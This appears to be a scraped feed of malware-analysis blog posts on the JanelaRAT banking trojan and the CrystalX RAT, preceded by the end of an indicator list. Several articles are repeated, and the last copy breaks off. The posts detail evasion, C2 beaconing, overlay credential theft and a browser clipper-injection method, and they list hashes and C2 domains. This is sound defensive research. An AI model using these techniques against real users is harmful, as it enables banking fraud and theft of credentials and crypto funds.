192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

JanelaRAT: a financial threat targeting users in Latin America

By: GReAT
13 April 2026 at 11:00

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Malicious email used in JanelaRAT campaigns

Malicious email used in JanelaRAT campaigns

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

JanelaRAT infection flow evolution

JanelaRAT infection flow evolution

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

  1. User inactivity and session tracking
    This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.

    Timer that looks for 10 minutes of inactivity

    Timer that looks for 10 minutes of inactivity

  2. Victim registration and further malicious activity
    This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
    1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter Description
      VS JanelaRAT version
      PL OFF by default
      AN Yes or No depending on whether banking security software process exists
    2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed Description
      Capture desktop image Send compressed screenshots to the C2
      Specific screenshots Crop specific screen regions and exfiltrate images
      Overlay windows Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging Keystroke capture
      Simulate keyboard Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input Move the cursor, simulate clicks, and report the cursor position
      Display message Show message boxes (custom title, text, buttons, or icons)
      System shutdown Execute a forced shutdown sequence
      Command execution Run CMD or PowerShell scripts/commands
      Task Manager
      manipulation
      Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process Detect the presence of anti-fraud systems
      Beaconing Send host information (malware version, profile, presence of banking software)
      Toggle internal modes Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

  • “Configuring Windows updates, please wait.”
  • “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

JanelaRAT: a financial threat targeting users in Latin America

By: GReAT
13 April 2026 at 11:00

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Malicious email used in JanelaRAT campaigns

Malicious email used in JanelaRAT campaigns

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

JanelaRAT infection flow evolution

JanelaRAT infection flow evolution

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

  1. User inactivity and session tracking
    This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.

    Timer that looks for 10 minutes of inactivity

    Timer that looks for 10 minutes of inactivity

  2. Victim registration and further malicious activity
    This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
    1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter Description
      VS JanelaRAT version
      PL OFF by default
      AN Yes or No depending on whether banking security software process exists
    2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed Description
      Capture desktop image Send compressed screenshots to the C2
      Specific screenshots Crop specific screen regions and exfiltrate images
      Overlay windows Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging Keystroke capture
      Simulate keyboard Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input Move the cursor, simulate clicks, and report the cursor position
      Display message Show message boxes (custom title, text, buttons, or icons)
      System shutdown Execute a forced shutdown sequence
      Command execution Run CMD or PowerShell scripts/commands
      Task Manager
      manipulation
      Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process Detect the presence of anti-fraud systems
      Beaconing Send host information (malware version, profile, presence of banking software)
      Toggle internal modes Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

  • “Configuring Windows updates, please wait.”
  • “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

A laughing RAT: CrystalX combines spyware, stealer, and prankware features

By: GReAT
1 April 2026 at 08:00

Introduction

In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.

Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.

Technical details

Background

The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.

After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.

The builder and anti-debug features

By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities:

  • MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
  • VM detect: checking running processes, presence of guest tools, and hardware characteristics
  • Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
  • Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump

Stealer capabilities

When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.

The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.

Keylogger & clipper

Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:

  1. The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread.
  2. A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
  3. The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
  4. The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.

The final script looks as follows:

Remote access

The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.

Prank commands

The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim.

  • Setting a background: downloading an image from a specified URL and using it as the desktop background.
  • Display orientation: rotating the screen 90°, 180°, or 270°.
  • System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
  • Remapping mouse buttons: swapping left click with right click and the other way round.
  • Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
  • Notifications: displaying a window with a custom title and message.
  • Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
  • Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.

Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.

Conclusions

The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.

Indicators of Compromise

# C2 infrastructure
webcrystal[.]lol
webcrystal[.]sbs
crystalxrat[.]top

# CrystalX RAT implants
47ACCB0ECFE8CCD466752DDE1864F3B0
2DBE6DE177241C144D06355C381B868C
49C74B302BFA32E45B7C1C5780DD0976
88C60DF2A1414CBF24430A74AE9836E0
E540E9797E3B814BFE0A82155DFE135D
1A68AE614FB2D8875CB0573E6A721B46

A laughing RAT: CrystalX combines spyware, stealer, and prankware features

By: GReAT
1 April 2026 at 08:00

Introduction

In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.

Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.

Technical details

Background

